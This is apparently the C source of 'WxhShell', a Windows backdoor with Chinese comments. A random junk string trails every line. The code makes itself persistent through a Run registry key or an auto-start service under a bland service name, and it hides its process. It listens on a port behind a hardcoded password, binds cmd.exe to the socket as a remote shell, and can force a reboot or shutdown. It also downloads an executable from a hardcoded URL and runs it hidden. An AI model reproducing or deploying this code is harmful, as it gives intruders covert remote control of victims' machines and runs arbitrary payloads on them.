    if(Boot(SHUTDOWN)) OZTPOz.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#H#+*F  
    else { ]) rrG/3  
    closesocket(wsh); l-s!A(l  
    ExitThread(0); $;/}?QY(  
    } *IY*yR6  
    break; *WIj4G.d  
    } sZL#xZ5 Df  
  // 获取shell k?z98 >4  
  case 's': { ?F6pEt4  
    CmdShell(wsh); _',prZ*  
    closesocket(wsh); ,Td!|~I|j6  
    ExitThread(0); rZfN+S,g  
    break;  mi)LP?q  
  } _/s(7y!  
  // 退出 Lv'D^'I  
  case 'x': { &*7?)eI!i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u9}1)9  
    CloseIt(wsh); B]Y}Hu  
    break; j^;I3_P  
    } jGEt+\"/QJ  
  // 离开 D!.+Y-+Xzu  
  case 'q': { -t2+|J*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -#2)?NkeE  
    closesocket(wsh); @:U+9[  
    WSACleanup(); v}tag#f5>?  
    exit(1); @ W^| ?  
    break; P  '>SmQ  
        } }p!HT6 tZ  
  } /u0' 6V  
  } 5fm?Lxr&?  
kIGbG;"_  
  // 提示信息 niqN{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `xywho%/Y  
} gOr%!QaF  
  } `S2[5i  
8g:;)u4$P  
  return; T.We: ,{  
} v|Yh w  
&g.+V/<[  
// shell模块句柄 L. EiO({W  
int CmdShell(SOCKET sock) VA9Gb 9  
{ e#Z$o($t  
STARTUPINFO si; ( @3\`\X  
ZeroMemory(&si,sizeof(si)); md q;R*`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F8uNL)gKj)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kH4Ai3#g  
PROCESS_INFORMATION ProcessInfo; E/09hD Q  
char cmdline[]="cmd"; "bm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r4QxoaM  
  return 0; B';6r4I-  
} XP1~d>j  
XvE9 b5}  
// 自身启动模式 QR Ei7@t  
int StartFromService(void) 5Pd"h S  
{ *3&fqBg  
typedef struct Ty<L8+B|  
{ AN24Sf'`  
  DWORD ExitStatus; K)-m*#H&uw  
  DWORD PebBaseAddress; @EDs~ lPv  
  DWORD AffinityMask; Nof3F/2 N&  
  DWORD BasePriority; 7\9>a  
  ULONG UniqueProcessId; {qmdm`V[  
  ULONG InheritedFromUniqueProcessId; s.x&LG  
}   PROCESS_BASIC_INFORMATION; L W;heO"  
{O,{c\  
PROCNTQSIP NtQueryInformationProcess; Uv?|G%cD-  
sL@U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sPpsq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wa1, p  
dpFVN[\oK  
  HANDLE             hProcess; ,uPJ_oZs  
  PROCESS_BASIC_INFORMATION pbi; y /BJIQ  
xritonG/F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #~=hn8  
  if(NULL == hInst ) return 0; DZv=\<$,LF  
[ e8x&{L-_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |<Gl91  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Z oD'-,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `d[1`P1i[  
*JaqTI,e  
  if (!NtQueryInformationProcess) return 0; Qhw^S*  
%<\6TZr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Yw3 d   
  if(!hProcess) return 0; l6~-8d+lfN  
b L]erYm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MzP7Py 8.  
OZIW_'Wm/  
  CloseHandle(hProcess); 24/XNSE,-  
Rt{B(L.?<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oh KCdT~  
if(hProcess==NULL) return 0; &E4 0* (C  
8>.J1C  
HMODULE hMod; ?  BE6  
char procName[255]; 6}(J6T46M[  
unsigned long cbNeeded; p<&Xd}]"^W  
@0eHS +  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <N`J`J-[  
dTL5-@  
  CloseHandle(hProcess); zOSs[[  
rC7``#5  
if(strstr(procName,"services")) return 1; // 以服务启动 2<][%> '  
9Li%KOY  
  return 0; // 注册表启动 ` iJhG^w9M  
} fsEzpUY:{W  
h@@nR(<i  
// 主模块 HoLv`JA  
int StartWxhshell(LPSTR lpCmdLine) Sje wuIi1  
{ JIFU;*PR1  
  SOCKET wsl; |hO~X~P  
BOOL val=TRUE; c(/VYMJZ&  
  int port=0; shH~4<15  
  struct sockaddr_in door; Khe!g1=&X  
&tZG @  
  if(wscfg.ws_autoins) Install(); [Cb` {  
NziZTU}  
port=atoi(lpCmdLine); $Y9jrR'w  
-\y-qHgb/  
if(port<=0) port=wscfg.ws_port; 'Vr$MaO  
o d7]tOK9  
  WSADATA data; e.*%K!(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cDoo*  
$%%os6y2v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +e-,ST&w(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yyfq  
  door.sin_family = AF_INET; g!`3{ /4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c=;:R0_'t  
  door.sin_port = htons(port); ?6k}ii!c  
%"X-&1vV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -@F fU2  
closesocket(wsl); `?y<>m*  
return 1; -3&G"hfK  
} M^7MU}5w  
>F@qpjoQE  
  if(listen(wsl,2) == INVALID_SOCKET) { ooj~&fu  
closesocket(wsl); ?+t1ME|  
return 1; 8LI-gp\ 2  
} {Rear 2  
  Wxhshell(wsl); JI/_ce  
  WSACleanup(); CAU0)=M  
0vGyI>  
return 0; 97,rE$bC  
20TCG0% x  
} Otz E:qe  
-L3|&O_  
// 以NT服务方式启动 D-U<u@A4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 JDN{!jT  
{ ]O` {dnP  
DWORD   status = 0; {&[9iIf  
  DWORD   specificError = 0xfffffff; j.i#*tN//  
LrCk*@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '&FjW-`" G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7Mx6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @[6,6:h|  
  serviceStatus.dwWin32ExitCode     = 0; ,zQOZ'^  
  serviceStatus.dwServiceSpecificExitCode = 0; M('d-Q{B7L  
  serviceStatus.dwCheckPoint       = 0; `Ci4YDaz;k  
  serviceStatus.dwWaitHint       = 0; H2r8,|XL  
@-)tM.8~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T'#!~GpB  
  if (hServiceStatusHandle==0) return; !>(RK"KWq]  
OI0B:()  
status = GetLastError(); @+Y8*Rj\3  
  if (status!=NO_ERROR) 8CC/BOe  
{ oW$s xS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }Z`(aDH  
    serviceStatus.dwCheckPoint       = 0; -z:&*=  
    serviceStatus.dwWaitHint       = 0; d vOJW".  
    serviceStatus.dwWin32ExitCode     = status; i1oKrRv  
    serviceStatus.dwServiceSpecificExitCode = specificError; M0c 9pE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *RR[H6B^]X  
    return;  UkfB^hA  
  } +<.\5+  
-#29xRPk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %vO<9fE|1  
  serviceStatus.dwCheckPoint       = 0; .A1\J@b  
  serviceStatus.dwWaitHint       = 0; e#/kNHl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *8ExRQZ$  
} `*\{.;,]#  
3"UsZyN:  
// 处理NT服务事件,比如:启动、停止 ue8qIZH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l12$l<x&M  
{ '+*-s7o{  
switch(fdwControl) O!Wd5Y  
{ .1QgK  
case SERVICE_CONTROL_STOP: tJ=di5&  
  serviceStatus.dwWin32ExitCode = 0; . -"E^f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (shK  
  serviceStatus.dwCheckPoint   = 0; ~"!a9GZ  
  serviceStatus.dwWaitHint     = 0; @-#T5?  
  { O4No0xeWo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ B0K  
  } BwJuYH7QJ$  
  return; np WEop>  
case SERVICE_CONTROL_PAUSE: ]$M<]w,IJ2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cUK\x2  
  break; bO<0qM~  
case SERVICE_CONTROL_CONTINUE: sl/)|~3!8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \m@Y WO?L  
  break; 4Z)DDz-}V  
case SERVICE_CONTROL_INTERROGATE: QfQ\a%cc  
  break; GIv){[i  
}; ]v5-~E!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y'Z+, CNf  
} HXJ9xkrr  
^ft]b2i  
// 标准应用程序主函数 l[/q%Ca'>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6U,fz#<,}  
{ d `j?7Z  
{5Eyr$  
// 获取操作系统版本 c-5jYwV  
OsIsNt=GetOsVer(); E/za @W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8,o17}NY,  
3AlqBXE"Z<  
  // 从命令行安装 MFg'YA2/  
  if(strpbrk(lpCmdLine,"iI")) Install(); [}3cDR  
V+w u  
  // 下载执行文件 hkW{88  
if(wscfg.ws_downexe) { PM4>ThQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^p_u.P  
  WinExec(wscfg.ws_filenam,SW_HIDE); 135vZ:S  
} 9DEh*%q  
jxy1  
if(!OsIsNt) { 3ViM ?p  
// 如果时win9x,隐藏进程并且设置为注册表启动 dALK0U  
HideProc(); 4VIg>EL*  
StartWxhshell(lpCmdLine); b Dg9P^<n  
} G^Xd-7 GQ  
else el'j&I  
  if(StartFromService()) 98*x 'Wp  
  // 以服务方式启动 H_X?dj15  
  StartServiceCtrlDispatcher(DispatchTable); Dw |3Z  
else \]Z&P,}w  
  // 普通方式启动 St>`p-  
  StartWxhshell(lpCmdLine); Isovwd  
64D%_8#m  
return 0; 4&N$:j<  
} ^t78jfl  
vSM_]fn  
ygvzdYd  
!*P&Eat  
=========================================== }f}IA\8]  
.^XH uN&  
_@E "7<\  
_ K/swT{f  
O}gX{_|6  
i=8UBryr'e  
" -3mgza  
rR!U;  
#include <stdio.h> @8"18HEp#  
#include <string.h> a{`"68  
#include <windows.h> s#lto0b"8  
#include <winsock2.h> F14(;'Az  
#include <winsvc.h> m1e b8yX  
#include <urlmon.h> 9bn2UiJ k  
;,0lUcV  
#pragma comment (lib, "Ws2_32.lib") n(jjvLf  
#pragma comment (lib, "urlmon.lib") nC~fvyd<P  
:l~EE!  
#define MAX_USER   100 // 最大客户端连接数 ~|R[O^9B  
#define BUF_SOCK   200 // sock buffer >I-g[*  
#define KEY_BUFF   255 // 输入 buffer  C6)R#  
z{6 YC~  
#define REBOOT     0   // 重启 2cjEex:&  
#define SHUTDOWN   1   // 关机 Bn-J_-%M  
l#6&WWmr  
#define DEF_PORT   5000 // 监听端口 -SJSTO[/J  
l^,qO3ES  
#define REG_LEN     16   // 注册表键长度 a RKv+{K  
#define SVC_LEN     80   // NT服务名长度 k ]bPI$  
Wy(pLBmb  
// 从dll定义API 6_U |(f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n{=7 yK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); > tEK+Y|N}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G{A)H_o*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gUGOHd(A  
E!@/NE\-  
// wxhshell配置信息 E|,30Z+  
struct WSCFG { jm> U6  
  int ws_port;         // 监听端口 y#bK,}  
  char ws_passstr[REG_LEN]; // 口令 jvO3_Zt9  
  int ws_autoins;       // 安装标记, 1=yes 0=no hrT%XJl  
  char ws_regname[REG_LEN]; // 注册表键名 [` 'd#pR  
  char ws_svcname[REG_LEN]; // 服务名 ]-KV0H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @,YlmX}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f N0bIE Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H56 ^n<tg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %uEtQh[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" va>"#;37  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L *{QjH  
OT+Ee  
}; i7f%^7!  
fqX~xp  
// default Wxhshell configuration fM{1Os  
struct WSCFG wscfg={DEF_PORT, A^cU$V%?W  
    "xuhuanlingzhe", leIy|K>\m  
    1, a hwy_\  
    "Wxhshell", XSl!T/d  
    "Wxhshell", \kk!Dz*H  
            "WxhShell Service", 8;8YA1@w  
    "Wrsky Windows CmdShell Service", {,F/KL^u  
    "Please Input Your Password: ", gr\@sx?b  
  1, <p)Z/  
  "http://www.wrsky.com/wxhshell.exe", lO_c/o$  
  "Wxhshell.exe" :Q=z=`*2w  
    }; UnjNR[=  
 6s5b$x  
// 消息定义模块 ,$BgR2^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;24'f-Eri  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T\cR2ZT~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j Ii[  
char *msg_ws_ext="\n\rExit."; vu ?3$  
char *msg_ws_end="\n\rQuit."; U,38qKE  
char *msg_ws_boot="\n\rReboot..."; S"{GlRpd  
char *msg_ws_poff="\n\rShutdown..."; \2Xx%SX  
char *msg_ws_down="\n\rSave to "; vQy$[D*  
!Z-9tYO  
char *msg_ws_err="\n\rErr!"; u/#&0_ P  
char *msg_ws_ok="\n\rOK!"; ;'hi9L  
Lb^(E-  
char ExeFile[MAX_PATH]; jjX%$Hr  
int nUser = 0; >"bnpYSe  
HANDLE handles[MAX_USER]; -+' #*V  
int OsIsNt; a! ?.F_T9A  
K@*rVor{  
SERVICE_STATUS       serviceStatus; +Tp%5+E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n_u`B|^Pj  
j,4,zA1j|  
// 函数声明 qf)C%3gXI  
int Install(void); U81;7L8  
int Uninstall(void);  'X|v+ ?  
int DownloadFile(char *sURL, SOCKET wsh); <g*.p@o  
int Boot(int flag); 6I5o2i  
void HideProc(void); OFIMi^@  
int GetOsVer(void); LjC6?a_?l  
int Wxhshell(SOCKET wsl); n3*UgNg%fK  
void TalkWithClient(void *cs); ;n` $+g:>  
int CmdShell(SOCKET sock); ;{]8>`im&4  
int StartFromService(void); joY1(Y  
int StartWxhshell(LPSTR lpCmdLine); e"PMvQ  
srsK:%`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gxo# !  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n+X1AOE[L  
fMyE&#}z  
// 数据结构和表定义 |@+8]dy:l  
SERVICE_TABLE_ENTRY DispatchTable[] = [qW<D/@  
{ zdqnL^wb  
{wscfg.ws_svcname, NTServiceMain}, {f&NStiB  
{NULL, NULL} X:R%1+&*  
}; [4ee <J  
(lieiye^  
// 自我安装 mZ~mf->%  
int Install(void) 2|$lk8/,  
{ ,zG<7~m  
  char svExeFile[MAX_PATH]; -`Da`ml  
  HKEY key; A"0wvk)UcY  
  strcpy(svExeFile,ExeFile); J &{qppN  
yB=C5-\F  
// 如果是win9x系统,修改注册表设为自启动 v;Swo("  
if(!OsIsNt) { ^g70AqUc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8g.AT@ ,Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UBL(Nr  
  RegCloseKey(key); IvFR <n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NoJUx['6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I Jqv w  
  RegCloseKey(key); 692Rw}/  
  return 0; &3WkH W   
    } Mp^^!AP9  
  } -g9^0V`G  
} *&(2`#C;  
else { @X K>  
1 pa*T!  
// 如果是NT以上系统,安装为系统服务 nG!&u1*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KlY,NSlQ  
if (schSCManager!=0) %A8Pkr<&E  
{ -QN1oK@\mE  
  SC_HANDLE schService = CreateService BXNI(7xi  
  ( qo)Q}0  
  schSCManager, j p!  
  wscfg.ws_svcname, *1\z^4=a]  
  wscfg.ws_svcdisp, } /[_  
  SERVICE_ALL_ACCESS, z~BD(FDI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W]Y@WKeT  
  SERVICE_AUTO_START, ]cn/(U`  
  SERVICE_ERROR_NORMAL, Fq vQk  
  svExeFile, ||yXp2  
  NULL, R:]/{b4Uq  
  NULL, gW'P`Oxw  
  NULL, KbXbT  
  NULL, dFd lB `L  
  NULL $*YC7f  
  ); oSN8Xn*qr  
  if (schService!=0) 8mk}nex  
  { T"n>h  
  CloseServiceHandle(schService); TNyK@~#m  
  CloseServiceHandle(schSCManager); oG+K '(BB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AGl|>f)  
  strcat(svExeFile,wscfg.ws_svcname); zhuy ePn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i/5y^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g@<sU0B  
  RegCloseKey(key); wEBtre7  
  return 0; zt-'SY  
    } 7fap*  
  } c9\B[@-q  
  CloseServiceHandle(schSCManager); os}b?I*K  
} O|HIO&M  
} <sgZ3*,A  
XC*uz  
return 1; ?H y%ULk  
} '.]e._T  
7vi i9Am7  
// 自我卸载 h9w@oRp`~  
int Uninstall(void) <P|`7wfxE  
{ "L9C  
  HKEY key; N|UBaPS|o  
0q:(-z\S4  
if(!OsIsNt) { =''mpIg(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nu#aa#ex>  
  RegDeleteValue(key,wscfg.ws_regname); <P+G7!KZ&  
  RegCloseKey(key); 0\? _ lT2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f@wsS m  
  RegDeleteValue(key,wscfg.ws_regname); &sI,8X2a2  
  RegCloseKey(key); H(X+.R,Thp  
  return 0; ]jHgo](%  
  } ,:v.L}+Z  
} X*TuQ\T  
} L{cK^ ,  
else { ^;0~6uBEJr  
70'} f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bv2z4D4f+  
if (schSCManager!=0) x?%rx}h  
{ rF Ko E%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AeNyZ[40T  
  if (schService!=0) 1 ;_{US5FR  
  { g,00'z_D  
  if(DeleteService(schService)!=0) { jf$JaY  
  CloseServiceHandle(schService); Q mb[ e>  
  CloseServiceHandle(schSCManager); Rf)'HT  
  return 0; &Pmc"9Rl  
  } di-O*ug  
  CloseServiceHandle(schService); Aivu%}_|  
  } _ff=B  
  CloseServiceHandle(schSCManager); DCEvr"(  
} ArNur~  
} 2(c<U6#C'l  
EO4" Z@ji  
return 1; o>xxmyW|  
} ?D RFsA  
kV*y_5g  
// 从指定url下载文件 u} JQTro  
int DownloadFile(char *sURL, SOCKET wsh) mr:kn0  
{ 2uvQf&,  
  HRESULT hr; s(1_:  
char seps[]= "/"; }ZEfT]  
char *token; }u(d'9u  
char *file; PWf{aHsr  
char myURL[MAX_PATH]; 2x)0?N[$O  
char myFILE[MAX_PATH]; ^tm++  
>$7wA9YhL  
strcpy(myURL,sURL); -D!#W%y8  
  token=strtok(myURL,seps); xT_fr,P  
  while(token!=NULL) .yctE:n  
  { ^/`#9]<%  
    file=token; E[)7tr  
  token=strtok(NULL,seps); j[$B\H  
  } N oX_?  
o7_MMeQ4  
GetCurrentDirectory(MAX_PATH,myFILE); J{nyo1A  
strcat(myFILE, "\\"); Nb^zkg  
strcat(myFILE, file); Rz<d%C;R  
  send(wsh,myFILE,strlen(myFILE),0); A2g"=x[1@K  
send(wsh,"...",3,0); }XfS#Xr1aV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {ED(O -W  
  if(hr==S_OK) 5]4<!m  
return 0; s`8M%ZLu  
else ka?IX9t\  
return 1; L Q I: ]d  
xm%[}Dt]  
} TEaD-mY3  
-4*'WzWr  
// 系统电源模块 q|47;bK'  
int Boot(int flag) z;fd#N:  
{ ~pd1 )  
  HANDLE hToken; bR>o!(M'Z\  
  TOKEN_PRIVILEGES tkp; *_4n2<W$  
`nd#< w>  
  if(OsIsNt) { )8 "EI-/.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 68&6J's;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pe+ 8~0o=R  
    tkp.PrivilegeCount = 1; U/1[~429  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b'Fx),  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (ybtXoQs  
if(flag==REBOOT) { br34Eh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O?C-nw6kP  
  return 0; Sy+]SeF&  
} Uy$U8b-ov  
else { Y{Y;EY4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }5o~R~H  
  return 0; U:mq7Rd8  
} PBxK>a  
  } v@$evmA  
  else { 'f=)pc#&g  
if(flag==REBOOT) { D&z'tf5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jm#d7@~4  
  return 0; _SBp66 r  
} H0D>A<Ue  
else { SQ~N X)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a`EGx{q(  
  return 0; :|n>H+Y  
} g:.,}L  
} *O(/UVuD\  
j,|1y5f  
return 1; p0[,$$pM  
} |"Xi%CQ2  
zJG x5JC  
// win9x进程隐藏模块 .WL\:{G8;  
void HideProc(void) RB lOTQjv  
{ 0_,3/EWa  
!_XU^A>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  \pewbu5^  
  if ( hKernel != NULL ) #FQm/Q<0  
  { dVsAX(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4,w{rmj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0TuOY%+  
    FreeLibrary(hKernel); ctc`^#q  
  } Z!*8JaMT  
G!e}j @@  
return; u'$yYzBE  
} m]-v IUpb  
}QWTPRn  
// 获取操作系统版本 RKo P6LGw  
int GetOsVer(void) T}w*K[z $  
{ @Q$ /eL  
  OSVERSIONINFO winfo; uJ IRk$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ V7ooo!  
  GetVersionEx(&winfo); 9U}MXY0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aCUV[CPw  
  return 1; /,rF$5G,  
  else #5ohmp,u  
  return 0; SQ^^1.V&/Y  
} 8H 3!; ]  
q5I4'6NF  
// 客户端句柄模块 oxCs*   
int Wxhshell(SOCKET wsl) +QXYU8bYZ  
{ uwH)/BW)[  
  SOCKET wsh; EMW4<na[  
  struct sockaddr_in client; (AM,4)lW,  
  DWORD myID; .kB3jfw0,  
+9Hk+.  
  while(nUser<MAX_USER) =|6^)lt$  
{ Top#u  
  int nSize=sizeof(client); 9s\i(/RxW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U7*VIRibv+  
  if(wsh==INVALID_SOCKET) return 1; Y&05 *b"  
](9{}DHV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G7/?hky 0.  
if(handles[nUser]==0) qh)!|B  
  closesocket(wsh); i"sYf9,  
else N}l]Ilm$34  
  nUser++; S,"ChR  
  } OO !S w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S\v&{  
n6%jhv9H  
  return 0; ;8;~C "  
} tRUsZl  
'a-5 U TT  
// 关闭 socket *nsnX/e(-  
void CloseIt(SOCKET wsh) ,8J*S  
{ LKf5r,C  
closesocket(wsh); !aW*dD61  
nUser--; :`>+f.)  
ExitThread(0); Z z; <P  
} {Jw<<<G  
W &0@&U  
// 客户端请求句柄 XJxs4a1[t  
void TalkWithClient(void *cs) G%p!os\>  
{ :WfB!4%!  
B 1d%#  
  SOCKET wsh=(SOCKET)cs; !(ux.T0  
  char pwd[SVC_LEN]; >D p6@%  
  char cmd[KEY_BUFF]; E? m#S  
char chr[1]; ^zWO[$n}tP  
int i,j; }%>$}4 ,  
QnP?;  
  while (nUser < MAX_USER) { ' ! UF&  
q| =q:4_L  
if(wscfg.ws_passstr) { |Z7bd^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Sj{rvW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @'<j!CqQ o  
  //ZeroMemory(pwd,KEY_BUFF); 1[gjb((  
      i=0; P{i8  
  while(i<SVC_LEN) { l>5]Wd{/  
h-_0 A]  
  // 设置超时 5k%N<e` `  
  fd_set FdRead; y8~)/)l&  
  struct timeval TimeOut; 6rN5Xf cS  
  FD_ZERO(&FdRead); d T,m{[+  
  FD_SET(wsh,&FdRead); S~a:1 _Wl  
  TimeOut.tv_sec=8; WH*=81)zp  
  TimeOut.tv_usec=0; K_lL\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wse*gO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DT(Zv2  
KEVy%AP=*h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rd 35)  
  pwd=chr[0]; F{H0 %  
  if(chr[0]==0xd || chr[0]==0xa) { f\F_?s)_y  
  pwd=0; ?9r,Y;,H  
  break; G}dOx}kT  
  } #PLB$$  
  i++; a4a[pX,5  
    } a@=36gx)  
Zz)oMw  
  // 如果是非法用户,关闭 socket \I,Dje/:w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g 2 { ?EP  
} }Mb'tGW  
_F|_C5A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p4t!T=o/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2wuW5H8w{  
KlqJ EtO_  
while(1) { _~S^#ut+  
W Pp\sIP  
  ZeroMemory(cmd,KEY_BUFF); a9EI7pnq  
*~<]|H5~  
      // 自动支持客户端 telnet标准   q(ET)xCeD  
  j=0; pffw5Tc  
  while(j<KEY_BUFF) { q;a*gqt   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b}U&bFl  
  cmd[j]=chr[0]; z.9FDQLp  
  if(chr[0]==0xa || chr[0]==0xd) { ) Q  
  cmd[j]=0; ,Qi|g'a  
  break; PN^1  
  } _:=OHURc  
  j++; gK#fuQ$hH  
    } x< y[na  
fJ"~XTN}T  
  // 下载文件 L+ETMk0  
  if(strstr(cmd,"http://")) { QGz3id6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pQMpkAX  
  if(DownloadFile(cmd,wsh)) xEZVsz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @61N[  
  else _BLSI8!N@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "T1#*"{j  
  } iN/!k.ybW}  
  else { [BR}4(7  
RJs G]`  
    switch(cmd[0]) { `"=L  
  u-M$45vct  
  // 帮助 )E~\H+FP6  
  case '?': { ;3?J#e6;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L\?g/l+k  
